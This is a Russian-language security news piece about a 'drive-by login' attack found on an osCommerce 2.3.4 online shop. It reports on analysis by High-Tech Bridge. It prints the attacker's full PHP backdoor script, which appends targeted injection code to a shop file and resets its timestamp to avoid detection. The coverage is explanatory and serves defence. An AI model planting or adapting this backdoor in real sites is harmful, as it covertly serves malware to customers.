Специалистам по информационной безопасности хорошо известны атаки типа “drive-by download”. Под этим термином подразумевают, что скачивание зловреда произошло без ведома пользователя, как только он открыл определённую веб-страницу в браузере.
Сейчас появилась новая разновидность этой техники, которую по аналогии назвали “drive-by login”.
О таком виде атаки рассказывается в блоге компании High-Tech Bridge. Она столкнулась с ним при обслуживании одного из своих клиентов — среднего размера интернет-магазина из Центральной Европы.
Один из покупателей магазина пожаловался, что сайт пытается заразить его компьютер вредоносной программой. В то же время рутинное сканирование с проверкой на зловреды и уязвимости не выявило ничего подозрительного. Магазин работал на последней версии osCommerce Online Merchant v2.3.4, выпущенной в июне 2014 года.
Сначала специалисты подумали, что здесь ложная тревога, но потом выяснилось, что всё гораздо серьёзнее. На сервере нашли интересный файл под названием ozcommerz_pwner.php.bak, вот его содержимое.
<?php
# osCommerce 2.x.x universal user pwner by Piht0z
# tested on osCommerce-2.3.4
# keep priv8 && fuck white hats
$victim_ip = "127.0.0.1";
$victim_email = "user@mail.com";
$pack="http://host/bl.js";
$time = filectime("includes/application_bottom.php");
if(isset($_GET['del'])) {
$str = file_get_contents("includes/application_bottom.php");
$str = preg_replace('/\<\?\s.*/ms','',$str);
file_put_contents("includes/application_bottom.php",$str);
} else {
file_put_contents("includes/application_bottom.php", '<?
$str = "";
$ip = explode(".",$_SERVER["REMOTE_ADDR"]);
if($ip[0].".".$ip[1].".".$ip[2].".".$ip[3] == "'.$victim_ip.'")
{ echo $str; }
if ( is_int($_SESSION["customer_id"]) &&
($_SESSION["customer_id"] > 0) ) {
$customer_info_query = tep_db_query("select customers_email_address from "
. TABLE_CUSTOMERS . " where customers_id = \'" .
(int)$_SESSION["customer_id"] . "\'");
$customer_info = tep_db_fetch_array($customer_info_query);
if($customer_info["customers_email_address"] == "'.$victim_email.'") {
echo $str;
}
}
?>', FILE_APPEND);
}
touch("includes/application_bottom.php",$time);
?>
Неизвестные хакеры любезно оставили комментарии в коде, так что несложно разобраться в работе универсального бэкдора для osCommerce.
Бэкдор внедряет вредоносный код в скрипт /includes/application_bottom.php, чтобы загружать зловред с удалённого сервера, в зависимости от IP-адреса пользователя или его адреса электронной почты, для зарегистрированных пользователей. Таким образом, скачивание зловреда осуществлялось после авторизации в магазине.
На данный момент бэкдор не определяется ни одним антивирусом.
Специалисты считают, что атаки типа “drive-by login” могут получить широкое распространение в будущем: они очень эффективны и их трудно обнаружить.